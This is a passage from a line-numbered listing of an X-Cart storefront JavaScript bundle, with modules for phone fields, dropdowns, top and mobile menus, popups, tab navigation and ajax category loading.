fill="currentColor" rx="3.5" ry="6.5" transform="rotate(40 50 50)"><animate attributeName="opacity" begin="-0.7777777777777778s" dur="1s" keyTimes="0;1" repeatCount="indefinite" values="1;0"/></rect><rect width="7" height="13" x="46.5" y="24.5" fill="currentColor" rx="3.5" ry="6.5" transform="rotate(80 50 50)"><animate attributeName="opacity" begin="-0.6666666666666666s" dur="1s" keyTimes="0;1" repeatCount="indefinite" values="1;0"/></rect><rect width="7" height="13" x="46.5" y="24.5" fill="currentColor" rx="3.5" ry="6.5" transform="rotate(120 50 50)"><animate attributeName="opacity" begin="-0.5555555555555556s" dur="1s" keyTimes="0;
79931" repeatCount="indefinite" values="1;0"/></rect><rect width="7" height="13" x="46.5" y="24.5" fill="currentColor" rx="3.5" ry="6.5" transform="rotate(160 50 50)"><animate attributeName="opacity" begin="-0.4444444444444444s" dur="1s" keyTimes="0;1" repeatCount="indefinite" values="1;0"/></rect><rect width="7" height="13" x="46.5" y="24.5" fill="currentColor" rx="3.5" ry="6.5" transform="rotate(200 50 50)"><animate attributeName="opacity" begin="-0.3333333333333333s" dur="1s" keyTimes="0;1" repeatCount="indefinite" values="1;0"/></rect><rect width="7" height="13" x="46.5" y="24.5" fill="currentColor" rx="3.5" ry="6.5" transform="rotate(240 50 50)"><animate attributeName="opacity" begin="-0.2222222222222222s" dur="1s" keyTimes="0;1" repeatCount="indefinite" values="1;0"/></rect><rect width="7" height="13" x="46.5" y="24.5" fill="currentColor" rx="3.5" ry="6.5" transform="rotate(280 50 50)"><animate attributeName="opacity" begin="-0.1111111111111111s" dur="1s" keyTimes="0;1" repeatCount="indefinite" values="1;0"/></rect><rect width="7" height="13" x="46.5" y="24.5" fill="currentColor" rx="3.5" ry="6.5" transform="rotate(320 50 50)"><animate attributeName="opacity" begin="0s" dur="1s" keyTimes="0;1" repeatCount="indefinite" values="1;0"/></rect></svg>'; 7994} 7995 7996/** 7997 * A $(<some HTML code>) analog. 7998 * 7999 * @param {string} html 8000 * 8001 * @return {Element} 8002 */ 8003xcart.createDOMTreeFromHTML = (html) => { 8004 const result = document.createElement('DIV'); 8005 result.innerHTML = html; 8006 8007 return result; 8008}; 8009 8010/** 8011 * Generate random ID for the DOM element. 8012 * 8013 * @param {string} [prefix] Random ID prefix. Optional. 8014 * @param {string} [postfix] Random ID postfix. Optional. 8015 * 8016 * @return {string} Randomly generated ID. 8017 */ 8018xcart.generateRandomId = (prefix, postfix) => { 8019 let result = prefix ? prefix : 'id'; 8020 8021 result += Math.round(Math.random() * 1000000000).toString(); 8022 8023 if (postfix) { 8024 result += postfix; 8025 } 8026 8027 return result; 8028}; 8029 8030window.options = {}; 8031 8032const phoneFieldHandler = (field) => { 8033 xcart.parents(field, '.wrapper-intl-phone-number').forEach(wrapper => { 8034 wrapper.classList.toggle('filled', !!field.value); 8035 }); 8036}; 8037 8038const handlePhoneField = (field) => { 8039 const fieldHandler = () => phoneFieldHandler(field); 8040 8041 fieldHandler(); 8042 field.addEventListener('focus', fieldHandler); 8043 field.addEventListener('blur', fieldHandler); 8044 field.addEventListener('input', fieldHandler); 8045 8046 field.classList.add('handled'); 8047 8048 xcart.parents(field, '.wrapper-intl-phone-number').forEach(container => { 8049 container.querySelectorAll('label.field__label').forEach(label => { 8050 label.setAttribute('for', field.getAttribute('id')); 8051 }); 8052 }); 8053}; 8054 8055xcart.microhandlers.add( 8056 'phonHandlers', 8057 '.iti .field-phone, .iti .xc-intl-phone-number', 8058 function () { 8059 handlePhoneField(this); 8060 } 8061); 8062 8063xcart.microhandlers.add( 8064 'selectFilledClass', 8065 'select:not([data-fill-handler])', 8066 function () { 8067 const handleFilledClass = () => { 8068 if (this.value && !this.classList.contains('filled')) { 8069 this.classList.add('filled'); 8070 8071 return; 8072 } 8073 8074 if (this.options) { 8075 for (let i = 0; i < this.options.length; i++) { 8076 if (!this.options[i].value && this.options[i].innerText.trim()) { 8077 if (!this.classList.contains('filled')) { 8078 this.classList.add('filled'); 8079 } 8080 8081 return; 8082 } 8083 } 8084 } 8085 8086 if (!this.value && this.classList.contains('filled')) { 8087 this.classList.remove('filled'); 8088 } 8089 }; 8090 8091 this.addEventListener('change', handleFilledClass); 8092 this.addEventListener('focus', handleFilledClass); 8093 this.addEventListener('blur', handleFilledClass); 8094 handleFilledClass(); 8095 this.setAttribute('data-fill-handler', '1'); 8096 } 8097); 8098 8099xcart.microhandlers.add( 8100 'ProductCellWidthHandler', 8101 '.product-cell', 8102 function () { 8103 const handler = () => { 8104 this.style.setProperty('--product-cell-width', Math.round(this.getBoundingClientRect().width) + 'px'); 8105 }; 8106 8107 if ('ResizeObserver' in window) { 8108 (new ResizeObserver(handler)).observe(this); 8109 } else { 8110 window.addEventListener('resize', handler, {passive: true}); 8111 window.addEventListener('orientationchange', handler, {passive: true}); 8112 } 8113 8114 handler(); 8115 } 8116); 8117 8118window.addEventListener('load', () => { 8119 document.querySelectorAll('.iti .field-phone, .iti .xc-intl-phone-number').forEach(field => { 8120 if (!field.classList.contains('handled')) { 8121 handlePhoneField(field); 8122 } 8123 }); 8124});; 8125/* AUTOGENERATED: dropdown.js */ 8126/* vim: set ts=2 sw=2 sts=2 et: */ 8127 8128/** 8129 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 8130 * See https://www.x-cart.com/license-agreement.html for license details. 8131 */ 8132 8133const Dropdown = function () { 8134 8135 let opened = null; 8136 8137 /** 8138 * @param {Element} dropdown 8139 * @return {boolean} 8140 */ 8141 this.isOpened = (dropdown) => { 8142 return dropdown && dropdown.classList.contains('opened'); 8143 }; 8144 8145 /** 8146 * @param {Element|string} dropdown Dropdown DOM node or its selector. 8147 */ 8148 this.open = (dropdown) => { 8149 if (typeof dropdown === 'string') { 8150 dropdown = document.querySelector(dropdown); 8151 } 8152 8153 if (dropdown && !this.isOpened(dropdown)) { 8154 if (opened && opened !== dropdown) { 8155 this.close(); 8156 } 8157 8158 opened = dropdown; 8159 dropdown.classList.add('opened'); 8160 document.documentElement.classList.add('dropdown-opened'); 8161 MobileMenu.getInstance().close(); 8162 } 8163 }; 8164 8165 /** 8166 * @param {Element|string} dropdown Dropdown DOM node or its selector. 8167 */ 8168 this.close = (dropdown) => { 8169 if (typeof dropdown === 'undefined') { 8170 dropdown = opened; 8171 } 8172 if (typeof dropdown === 'string') { 8173 dropdown = document.querySelector(dropdown); 8174 } 8175 8176 if (dropdown && this.isOpened(dropdown)) { 8177 dropdown.classList.remove('opened'); 8178 if (dropdown === opened) { 8179 opened = null; 8180 document.documentElement.classList.remove('dropdown-opened'); 8181 } 8182 } 8183 }; 8184}; 8185 8186xcart.dropdown = new Dropdown(); 8187 8188xcart.bind('mobile-menu.opened', () => { 8189 xcart.dropdown.close(); 8190});; 8191/* AUTOGENERATED: top-menu.js */ 8192/* vim: set ts=2 sw=2 sts=2 et: */ 8193 8194/** 8195 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 8196 * See https://www.x-cart.com/license-agreement.html for license details. 8197 */ 8198 8199const TopMenu = function () { 8200 8201 /** 8202 * Returns a DOM node or an element matching the selector. 8203 * 8204 * @param {Element|string} elem Element or an element selector. 8205 * 8206 * @return {Element|null} Element, null if selector is passed and there is no matching elements. 8207 */ 8208 const getElement = (elem) => { 8209 if (typeof elem === 'string') { 8210 elem = document.querySelector(elem); 8211 } 8212 8213 return elem; 8214 }; 8215 8216 this.close = (elem) => { 8217 if (elem) { 8218 elem.classList.remove('header-bar__column-list-item--active'); 8219 } 8220 }; 8221 8222 this.open = (elem) => { 8223 if (elem) { 8224 elem.classList.add('header-bar__column-list-item--active'); 8225 } 8226 }; 8227 8228 /** 8229 * @param {Element|string} elem 8230 * @return {boolean} 8231 */ 8232 this.isOpened = (elem) => { 8233 elem = getElement(elem); 8234 8235 return elem && elem.classList && elem.classList.contains('header-bar__column-list-item--active'); 8236 }; 8237 8238 /** 8239 * @return {NodeListOf<Element>} 8240 */ 8241 this.getOpenedMenus = () => { 8242 return document.querySelectorAll('#header-bar .header-bar__column-list-item--active'); 8243 }; 8244 8245 /** 8246 * 8247 * @param {Element|string} elem 8248 * @param {string} content 8249 */ 8250 this.setItemBadge = (elem, content) => { 8251 elem = getElement(elem); 8252 if (elem) { 8253 const btn = elem.classList.contains('header-bar__column-list-item-button') 8254 ? elem 8255 : elem.querySelector('.header-bar__column-list-item-button'); 8256 8257 if (btn) { 8258 let badge = btn.querySelector('.badge'); 8259 if (!badge && content) { 8260 badge = document.createElement('SPAN'); 8261 badge.classList.add('badge', 'header-bar__column-list-item-button-badge'); 8262 btn.appendChild(badge); 8263 } 8264 8265 if (content) { 8266 badge.innerHTML = content; 8267 } else if (badge) { 8268 btn.removeChild(badge); 8269 } 8270 } 8271 } 8272 }; 8273 8274 /** 8275 * @param {Element|null} exceptThis 8276 */ 8277 this.closeMenus = (exceptThis = null) => {
8278 this.getOpenedMenus().forEach(item => { 8279 if (item !== exceptThis && item.classList.contains('header-bar__column-list-item--active')) { 8280 xcart.trigger('top-menu-closed', {menu: item}); 8281 item.classList.remove('header-bar__column-list-item--active'); 8282 } 8283 }); 8284 }; 8285 8286 /** 8287 * @param {Element|string} elem 8288 * @param {boolean} open 8289 */ 8290 this.toggle = (elem, open) => { 8291 elem = getElement(elem); 8292 8293 if (elem) { 8294 const button = elem.querySelector(':scope > .header-bar__column-list-item-button'); 8295 if (typeof open === 'undefined') { 8296 open = !this.isOpened(elem); 8297 } 8298 8299 elem.classList.toggle('header-bar__column-list-item--active', open); 8300 if (button && !open) { 8301 button.blur(); 8302 } 8303 8304 this.closeMenus(elem); 8305 } 8306 }; 8307 8308 /** 8309 * @param {Element} elem 8310 * 8311 * @return boolean 8312 */ 8313 this.isOpened = (elem) => { 8314 return elem && elem.classList.contains('header-bar__column-list-item--active'); 8315 }; 8316 8317 /** 8318 * @param {Element|string} [root] 8319 */ 8320 this.updateButtonHandlers = (root) => { 8321 let furtherButtons; 8322 let backButtons; 8323 8324 if (root && typeof root === 'string') { 8325 furtherButtons = document.querySelectorAll(`${root} .top-menu__categories-item-further:not([data-handled])`); 8326 backButtons = document.querySelectorAll(`${root} .top-menu__categories-item-back:not([data-handled])`); 8327 } else if (root) { 8328 furtherButtons = root.querySelectorAll(`.top-menu__categories-item-further:not([data-handled])`); 8329 backButtons = root.querySelectorAll(`.top-menu__categories-item-back:not([data-handled])`); 8330 } else { 8331 furtherButtons = document.querySelectorAll('#header-bar .top-menu__categories-item-further:not([data-handled])'); 8332 backButtons = document.querySelectorAll('#header-bar .top-menu__categories-item-back:not([data-handled])'); 8333 } 8334 8335 furtherButtons.forEach(button => { 8336 button.addEventListener('click', () => { 8337 button.parentNode.classList.add('top-menu__categories-item--open'); 8338 button.parentNode.parentNode.classList.add('open'); 8339 }); 8340 8341 button.setAttribute('data-handled', true); 8342 }); 8343 8344 backButtons.forEach(button => { 8345 button.addEventListener('click', () => { 8346 const parentListItem = button.parentNode.parentNode.parentNode; 8347 8348 parentListItem.classList.remove('top-menu__categories-item--open'); 8349 parentListItem.parentNode.classList.remove('open'); 8350 }); 8351 }); 8352 }; 8353 8354 this.init = () => { 8355 document.querySelectorAll('.header-bar__column-list-item-button').forEach(button => { 8356 button.addEventListener('click', () => { 8357 this.toggle(button.parentNode); 8358 }); 8359 }); 8360 8361 document.addEventListener('click', (e) => { 8362 let clickedInSubmenu = null; 8363 let elem = e.target; 8364 8365 while (elem && elem.classList && !clickedInSubmenu) { 8366 if (elem.classList.contains('header-bar__column-list-item')) { 8367 clickedInSubmenu = elem; 8368 } 8369 elem = elem.parentNode; 8370 } 8371 8372 this.closeMenus(clickedInSubmenu); 8373 }); 8374 8375 this.updateButtonHandlers(); 8376 8377 xcart.bind('popup.open', () => { 8378 this.closeMenus(); 8379 }); 8380 8381 xcart.trigger('navbar.desktop.loaded'); 8382 }; 8383 8384}; 8385 8386TopMenu.prototype.instance = null; 8387 8388TopMenu.getInstance = () => { 8389 if (!TopMenu.prototype.instance) { 8390 TopMenu.prototype.instance = new TopMenu(); 8391 TopMenu.prototype.instance.init(); 8392 } 8393 8394 return TopMenu.prototype.instance; 8395}; 8396 8397TopMenu.getInstance(); 8398 8399(function () { 8400 const desktopModeSwitcherContainer = document.querySelector('.account-links__list-item--mode'); 8401 if (desktopModeSwitcherContainer) { 8402 const desktopModeSwitcher = desktopModeSwitcherContainer.querySelector('.switcher-container'); 8403 8404 if (desktopModeSwitcher) { 8405 desktopModeSwitcherContainer.addEventListener('click', (e) => { 8406 let hasClickedOnSwitcher = false;
8407 let elem = e.target; 8408 8409 while (elem) { 8410 if (elem === desktopModeSwitcher) { 8411 hasClickedOnSwitcher = true; 8412 break; 8413 } 8414 elem = elem.parentNode; 8415 } 8416 8417 if (!hasClickedOnSwitcher) { 8418 desktopModeSwitcher.click(); 8419 } 8420 }); 8421 } 8422 } 8423})();; 8424/* AUTOGENERATED: script.js */ 8425/* vim: set ts=2 sw=2 sts=2 et: */ 8426 8427/** 8428 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 8429 * See https://www.x-cart.com/license-agreement.html for license details. 8430 */ 8431 8432const MobileMenu = function () { 8433 const mobileMenuToggleButton = document.getElementById('main_menu'); 8434 const container = document.documentElement; 8435 const OPEN_CLASS = 'slidebar-open'; 8436 const mobileMenuRoot = document.getElementById('slidebar'); 8437 const itemsWithSubmenus = mobileMenuRoot ? mobileMenuRoot.querySelectorAll('.top-menu__item--has-submenu') : []; 8438 const mobileMenuHolder = mobileMenuRoot ? mobileMenuRoot.querySelector('.slidebar-list__holder') : null; 8439 const mobileMenuContainer = mobileMenuRoot ? mobileMenuRoot.querySelector('.slidebar-list__container') : null; 8440 const mobileMainMenu = mobileMenuRoot 8441 ? mobileMenuRoot.querySelector('.slidebar-list__holder > .slidebar-list') 8442 : null; 8443 const mobileMenuCategoriesItem = mobileMenuRoot ? mobileMenuRoot.querySelector('.top-menu__item--categories') : null; 8444 const mobileMenuBackButtons = mobileMenuRoot 8445 ? mobileMenuRoot.querySelectorAll('.top-menu__categories-item-back') 8446 : []; 8447 const SUBMENU_CLOSE_DURATION = 500; 8448 8449 let isMobileMenuOpen = false; 8450 8451 /** 8452 * @param {boolean} [open] Whether the menu should be open. 8453 */ 8454 this.toggle = (open) => { 8455 if (typeof open === 'undefined') { 8456 open = !isMobileMenuOpen; 8457 } 8458 8459 if (!isMobileMenuOpen && open) { 8460 this.switchToMainMenu(); 8461 } else if (isMobileMenuOpen && !open) { 8462 xcart.trigger('mobile-menu.item.selected', {item: null}); 8463 } 8464 8465 isMobileMenuOpen = open; 8466 container.classList.toggle(OPEN_CLASS, open); 8467 8468 xcart.trigger('mobile-menu.toggle', {open: open}); 8469 xcart.trigger(open ? 'mobile-menu.opened' : 'mobile-menu.closed'); 8470 }; 8471 8472 const adjustMobileMenuHolderHeight = (mobileMenu) => { 8473 if (mobileMenuHolder) { 8474 mobileMenu.style.minHeight = '0'; 8475 mobileMenuHolder.style.height = `${mobileMenu ? mobileMenu.scrollHeight : 0}px`; 8476 mobileMenu.style.minHeight = null; 8477 } 8478 }; 8479 8480 /** 8481 * @param {CallableFunction} callback 8482 */ 8483 const makeInstant = (callback) => { 8484 mobileMenuHolder.classList.add('slidebar--instant'); 8485 callback(); 8486 8487 requestAnimationFrame(() => { 8488 mobileMenuHolder.classList.remove('slidebar--instant'); 8489 }); 8490 }; 8491 8492 /** 8493 * @param {Element} item 8494 * @param {boolean} [instant] 8495 */ 8496 const openSubmenu = (item, instant = false) => { 8497 const subMenu = item.querySelector(':scope > .sublevel'); 8498 item.parentNode.classList.add('slidebar--open'); 8499 const scrolledBy = mobileMenuContainer.scrollTop; 8500 8501 if (!instant && scrolledBy > 0) { 8502 item.parentNode.style.top = `-${scrolledBy}px`; 8503 8504 if (subMenu) { 8505 subMenu.style.top = `${scrolledBy}px`; 8506 } 8507 8508 setTimeout(() => { 8509 item.parentNode.style.top = null; 8510 if (subMenu) { 8511 subMenu.style.top = null; 8512 } 8513 }, SUBMENU_CLOSE_DURATION); 8514 } 8515 8516 item.classList.add('top-menu__item--active'); 8517 adjustMobileMenuHolderHeight(subMenu ? subMenu : null); 8518 xcart.trigger('mobile-menu.item.selected', {item: item}); 8519 }; 8520 8521 /** 8522 * @param {Element} item 8523 */ 8524 const closeSubmenu = (item) => { 8525 const subLevelMenu = item.querySelector(':scope > .sublevel'); 8526 8527 if (subLevelMenu) { 8528 subLevelMenu.style.height = `${subLevelMenu.scrollHeight}px`; 8529 setTimeout(() => { 8530 subLevelMenu.style.height = null; 8531 }, SUBMENU_CLOSE_DURATION); 8532 } 8533 8534 item.parentNode.classList.remove('slidebar--open'); 8535 item.classList.remove('top-menu__item--active'); 8536 adjustMobileMenuHolderHeight(item.parentNode); 8537 }; 8538 8539 this.open = () => { 8540 adjustMobileMenuHolderHeight(mobileMainMenu); 8541 this.toggle(true); 8542 }; 8543 8544 this.close = () => { 8545 this.toggle(false); 8546 }; 8547 8548 this.switchToMainMenu = () => { 8549 if (mobileMenuRoot && mobileMenuHolder) { 8550 makeInstant(() => { 8551 mobileMenuRoot.querySelectorAll('.top-menu__item--active').forEach(elem => { 8552 elem.classList.remove('top-menu__item--active'); 8553 }); 8554 8555 mobileMenuRoot.querySelectorAll('.slidebar--open').forEach(elem => { 8556 elem.classList.remove('slidebar--open'); 8557 }); 8558 8559 mobileMenuHolder.style.height = null; 8560 }); 8561 8562 xcart.trigger('mobile-menu.item.selected', {item: null}); 8563 } 8564 }; 8565 8566 this.openCatalog = () => { 8567 if (!isMobileMenuOpen) { 8568 this.open(); 8569 } 8570 8571 makeInstant(() => { 8572 this.switchToMainMenu(); 8573 if (mobileMenuCategoriesItem) { 8574 openSubmenu(mobileMenuCategoriesItem, true); 8575 } 8576 }); 8577 }; 8578 8579 this.isCatalogOpened = () => { 8580 return isMobileMenuOpen 8581 && mobileMenuCategoriesItem 8582 && mobileMenuCategoriesItem.classList.contains('top-menu__item--active'); 8583 }; 8584 8585 this.init = () => { 8586 if (mobileMenuToggleButton) { 8587 mobileMenuToggleButton.addEventListener('click', (e) => { 8588 this.toggle(); 8589 e.preventDefault(); 8590 }); 8591 } 8592
8593 itemsWithSubmenus.forEach((item) => { 8594 item.firstElementChild.addEventListener('click', (e) => { 8595 openSubmenu(item); 8596 e.preventDefault(); 8597 e.stopPropagation(); 8598 }); 8599 }); 8600 8601 mobileMenuBackButtons.forEach((btn) => { 8602 btn.addEventListener('click', (e) => { 8603 closeSubmenu(btn.parentNode.parentNode.parentNode); 8604 e.stopPropagation(); 8605 }); 8606 }); 8607 8608 document.querySelectorAll('.top-menu__item--categories .top-menu__item--level-1 .top-menu__item--title').forEach( 8609 (item) => { 8610 item.addEventListener('click', () => { 8611 closeSubmenu(item.parentNode.parentNode); 8612 }); 8613 } 8614 ); 8615 8616 xcart.trigger('navbar.mobile.loaded'); 8617 }; 8618}; 8619 8620MobileMenu.prototype.instance = null; 8621 8622MobileMenu.getInstance = () => { 8623 if (!MobileMenu.prototype.instance) { 8624 MobileMenu.prototype.instance = new MobileMenu(); 8625 MobileMenu.prototype.instance.init(); 8626 } 8627 8628 return MobileMenu.prototype.instance; 8629}; 8630 8631MobileMenu.getInstance();; 8632/* AUTOGENERATED: popup.js */ 8633/* vim: set ts=2 sw=2 sts=2 et: */ 8634 8635/** 8636 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 8637 * See https://www.x-cart.com/license-agreement.html for license details. 8638 */ 8639 8640/* Wrap popups into a couple of containers, so we can center them using CSS only */ 8641xcart.bind('popup.open', () => { 8642 requestAnimationFrame(() => { 8643 if (popup.currentPopup && popup.currentPopup.widget) { 8644 const root = popup.currentPopup.widget[0]; 8645 let container = root.querySelector(':scope > .ui-dialog__container'); 8646 8647 if (root.children.length > 1 || !container) { 8648 if (!container) { 8649 container = document.createElement('DIV'); 8650 container.className = 'ui-dialog__container'; 8651 root.appendChild(container); 8652 } 8653 8654 let inner = container.querySelector(':scope > .ui-dialog__inner'); 8655 if (!inner) { 8656 inner = document.createElement('DIV'); 8657 inner.className = 'ui-dialog__inner'; 8658 container.appendChild(inner); 8659 } 8660 8661 let content = inner.querySelector(':scope > .ui-dialog__window'); 8662 if (!content) { 8663 content = document.createElement('DIV'); 8664 content.className = 'ui-dialog__window'; 8665 inner.appendChild(content); 8666 } 8667 8668 Array.from(root.childNodes).forEach(child => { 8669 if (child !== container) { 8670 content.appendChild(child); 8671 } 8672 }); 8673 8674 const quasiHeader = content.querySelector('.block.block-block > .head-h2, .popup-title-container'); 8675 if (quasiHeader) { 8676 const realTitle = root.querySelector('.ui-dialog-title'); 8677 if (realTitle) { 8678 realTitle.innerHTML = quasiHeader.innerHTML; 8679 } 8680 quasiHeader.parentNode.removeChild(quasiHeader); 8681 } 8682 } 8683 8684 if (!root.hasAttribute('data-popup-handled')) { 8685 root.setAttribute('data-popup-handled', '1'); 8686 root.addEventListener('click', (e) => { 8687 if ( 8688 e.target.classList.contains('ui-dialog__inner') 8689 || e.target.classList.contains('ui-dialog__container') 8690 || e.target.classList.contains('ui-dialog') 8691 ) { 8692 popup.close(); 8693 } 8694 }); 8695 } 8696 } 8697 }); 8698});; 8699/* AUTOGENERATED: tabs-navigation.js */ 8700/* vim: set ts=2 sw=2 sts=2 et: */ 8701 8702/** 8703 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 8704 * See https://www.x-cart.com/license-agreement.html for license details. 8705 */ 8706 8707/** 8708 * @param {{root: Element, prev?: Element, next?: Element, container: Element, list: Element, tabs: Element[]}} dom 8709 * @param {{scrollIntoViewOnClick: boolean}} options 8710 */ 8711function TabsNavigation(dom, options) { 8712 const updateNavButtonsState = () => { 8713 if (dom.container.scrollLeft > 5) { 8714 dom.prev.removeAttribute('disabled'); 8715 } else { 8716 dom.prev.setAttribute('disabled', 'disabled'); 8717 } 8718 8719 if (dom.container.scrollLeft + dom.container.getBoundingClientRect().width >= dom.container.scrollWidth - 5) { 8720 dom.next.setAttribute('disabled', 'disabled'); 8721 } else { 8722 dom.next.removeAttribute('disabled'); 8723 } 8724 }; 8725 8726 const getNavButtonIconHTML = () => { 8727 return '<svg aria-hidden="true" class="inline-icon inline-icon--arrow tabs-nav__btn-icon" width="24" height="24"' + 8728 ' viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">' + 8729 '<path d="M16.663 4.672a.933.933 0 0 1-.27.662l-6.807 6.8 6.807 6.8a.937.937 0 0 1-1.324
87291.325l-7.46-7.463a.933.933 0 0 ' + 8730 '1 0-1.324l7.46-7.463a.933.933 0 0 1 1.594.663Z">' + 8731 '</path></svg>'; 8732 }; 8733 8734 /** 8735 * @param {string} btnExtraClass 8736 * @param {string} accessibleText 8737 * 8738 * @return {Element} 8739 */ 8740 const getNavButtonElement = (btnExtraClass, accessibleText) => { 8741 const btn = document.createElement('BUTTON'); 8742 btn.setAttribute('class', `tabs-nav__btn ${btnExtraClass}`); 8743 btn.setAttribute('disabled', 'disabled'); 8744 btn.innerHTML = getNavButtonIconHTML(); 8745 8746 const accessible = document.createElement('SPAN'); 8747 accessible.innerHTML = accessibleText; 8748 accessible.setAttribute('class', 'visually-hidden'); 8749 btn.appendChild(accessible); 8750 8751 return btn; 8752 }; 8753 8754 const getPrevNavButtonElement = () => { 8755 return getNavButtonElement('tabs-nav__btn--prev', xcart.t('Previous tab')); 8756 }; 8757 8758 const getNextNavButtonElement = () => { 8759 return getNavButtonElement('tabs-nav__btn--next', xcart.t('Next tab')); 8760 }; 8761 8762 const setNavButtons = () => { 8763 dom.prev = getPrevNavButtonElement(); 8764 dom.next = getNextNavButtonElement(); 8765 8766 dom.container.parentElement.insertBefore(dom.prev, dom.container); 8767 dom.container.parentElement.appendChild(dom.next); 8768 }; 8769 8770 /** 8771 * @param {number} scrollBy 8772 */ 8773 const scroll = (scrollBy) => { 8774 dom.container.scrollLeft += scrollBy; 8775 }; 8776 8777 const getContainerPaddingRight = () => {
8778 let containerPaddingRight = parseInt(getComputedStyle(dom.container).paddingRight); 8779 if (!containerPaddingRight) { 8780 containerPaddingRight = 0; 8781 } 8782 8783 return Math.max( 8784 containerPaddingRight, 8785 dom.next.getBoundingClientRect().width 8786 ); 8787 }; 8788 8789 const getContainerPaddingLeft = () => { 8790 let containerPaddingLeft = parseInt(getComputedStyle(dom.container).paddingLeft); 8791 if (!containerPaddingLeft) { 8792 containerPaddingLeft = 0; 8793 } 8794 8795 return Math.max( 8796 containerPaddingLeft, 8797 dom.prev.getBoundingClientRect().width 8798 ); 8799 }; 8800 8801 const scrollRight = () => { 8802 let firstTab = null; 8803 const containerRect = dom.container.getBoundingClientRect(); 8804 const containerPaddingRight = getContainerPaddingRight(); 8805 8806 dom.tabs.forEach( 8807 (tab) => { 8808 if ( 8809 !firstTab 8810 && tab.getBoundingClientRect().right >= containerRect.right - containerPaddingRight 8811 ) { 8812 firstTab = tab; 8813 } 8814 } 8815 ); 8816 8817 if (firstTab) { 8818 scroll(firstTab.getBoundingClientRect().left - containerRect.left - getContainerPaddingLeft()); 8819 } 8820 }; 8821 8822 /** 8823 * @return {Element|null} 8824 */ 8825 const getActiveTab = () => { 8826 let result = null; 8827 8828 dom.tabs.forEach( 8829 (tab) => { 8830 if ( 8831 !result 8832 && ( 8833 tab.classList.contains('active') 8834 || tab.querySelector('.nav-link.active, [data-tab-navigator].active') 8835 ) 8836 ) { 8837 result = tab; 8838 } 8839 } 8840 ); 8841 8842 return result; 8843 }; 8844 8845 /** 8846 * @param {Element|null} tab 8847 */ 8848 const scrollTabIntoView = (tab) => { 8849 if (tab) { 8850 const activeTabRect = tab.getBoundingClientRect(); 8851 const containerRect = dom.container.getBoundingClientRect(); 8852 const containerPaddingLeft = getContainerPaddingLeft(); 8853 const containerPaddingRight = getContainerPaddingRight(); 8854 8855 if (activeTabRect.left < containerRect.left + containerPaddingLeft) { 8856 scroll(activeTabRect.left - containerRect.left - containerPaddingLeft); 8857 } else if (activeTabRect.right > containerRect.right - containerPaddingRight) { 8858 scroll(activeTabRect.right - containerRect.right + containerPaddingRight); 8859 } 8860 } 8861 }; 8862 8863 const scrollActiveTabIntoView = () => { 8864 scrollTabIntoView(getActiveTab()); 8865 }; 8866 8867 const scrollLeft = () => { 8868 let firstTab = null; 8869 const containerRect = dom.container.getBoundingClientRect(); 8870 const containerPaddingLeft = getContainerPaddingLeft(); 8871 8872 for (let i = dom.tabs.length - 1; i >= 0; i--) { 8873 if (dom.tabs[i].getBoundingClientRect().left <= (containerRect.left + containerPaddingLeft)) { 8874 firstTab = dom.tabs[i]; 8875 break; 8876 } 8877 } 8878 8879 if (firstTab) { 8880 scroll(getContainerPaddingRight() + firstTab.getBoundingClientRect().right - containerRect.right); 8881 } 8882 }; 8883 8884 const isListScrollable = () => { 8885 let result = false;
8886 const containerRect = dom.container.getBoundingClientRect(); 8887 dom.tabs.forEach( 8888 (tab) => { 8889 const tabRect = tab.getBoundingClientRect(); 8890 8891 if (tabRect.left < containerRect || tabRect.right > containerRect.right) { 8892 result = true; 8893 } 8894 } 8895 ); 8896 8897 return result; 8898 }; 8899 8900 const updateScrollableState = () => { 8901 const isScrollable = isListScrollable(); 8902 const hasScrollableClass = dom.root.classList.contains('tabs-nav--scrollable'); 8903 8904 if (isScrollable && !hasScrollableClass) { 8905 dom.root.classList.add('tabs-nav--scrollable'); 8906 } else if (!isScrollable && hasScrollableClass) { 8907 dom.root.classList.remove('tabs-nav--scrollable'); 8908 } 8909 }; 8910 8911 const resizeHandler = () => { 8912 updateNavButtonsState(); 8913 scrollActiveTabIntoView(); 8914 updateScrollableState(); 8915 }; 8916 8917 const setEventListeners = () => { 8918 dom.container.addEventListener('scroll', updateNavButtonsState, {passive: true}); 8919 8920 dom.next.addEventListener('click', scrollRight); 8921 dom.prev.addEventListener('click', scrollLeft); 8922 8923 dom.tabs.forEach( 8924 (tab) => { 8925 if (options.scrollIntoViewOnClick) { 8926 tab.addEventListener( 8927 'click', 8928 () => { 8929 scrollTabIntoView(tab); 8930 } 8931 ); 8932 } 8933 } 8934 ); 8935 8936 (new ResizeObserver(resizeHandler)).observe(dom.container); 8937 8938 resizeHandler(); 8939 document.addEventListener('DOMContentLoaded', resizeHandler); 8940 window.addEventListener('load', resizeHandler); 8941 }; 8942 8943 const init = () => { 8944 setNavButtons(); 8945 updateNavButtonsState(); 8946 setEventListeners(); 8947 }; 8948 8949 init(); 8950} 8951 8952xcart.microhandlers.add( 8953 'TabsNavigation', 8954 '[data-tabs-navigation]', 8955 function () { 8956 new TabsNavigation( 8957 { 8958 root: this, 8959 container: this.querySelector('[data-tabs-container]'), 8960 list: this.querySelector('[data-tabs-list]'), 8961 tabs: this.querySelectorAll('[data-tab]') 8962 }, 8963 { 8964 scrollIntoViewOnClick: this.hasAttribute('data-tabs-nav-scroll-to-view-on-click') 8965 } 8966 ); 8967 } 8968);; 8969/* AUTOGENERATED: ajax-categories.js */ 8970/* vim: set ts=2 sw=2 sts=2 et: */ 8971 8972/** 8973 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 8974 * See https://www.x-cart.com/license-agreement.html for license details. 8975 */ 8976 8977const AjaxCategories = function () { 8978 /** 8979 * @param {number} categoryId 8980 * @param {number} level 8981 * @param {string} mode 8982 * 8983 * @return {{url: string}} 8984 */ 8985 const getAjaxConfig = (categoryId, level, mode) => ( 8986 { 8987 url: xliteConfig.script + 8988 '?target=category&widget=\\XC\\AutoMobileSkin\\Module\\QSL\\FlyoutCategoriesMenu\\View\\TopCategories' + 8989 `&category_id=${categoryId}&level=${level}&mode=${mode}` 8990 } 8991 ); 8992 8993 /** 8994 * Render ajax category loader inside a DOM element. 8995 * 8996 * @param 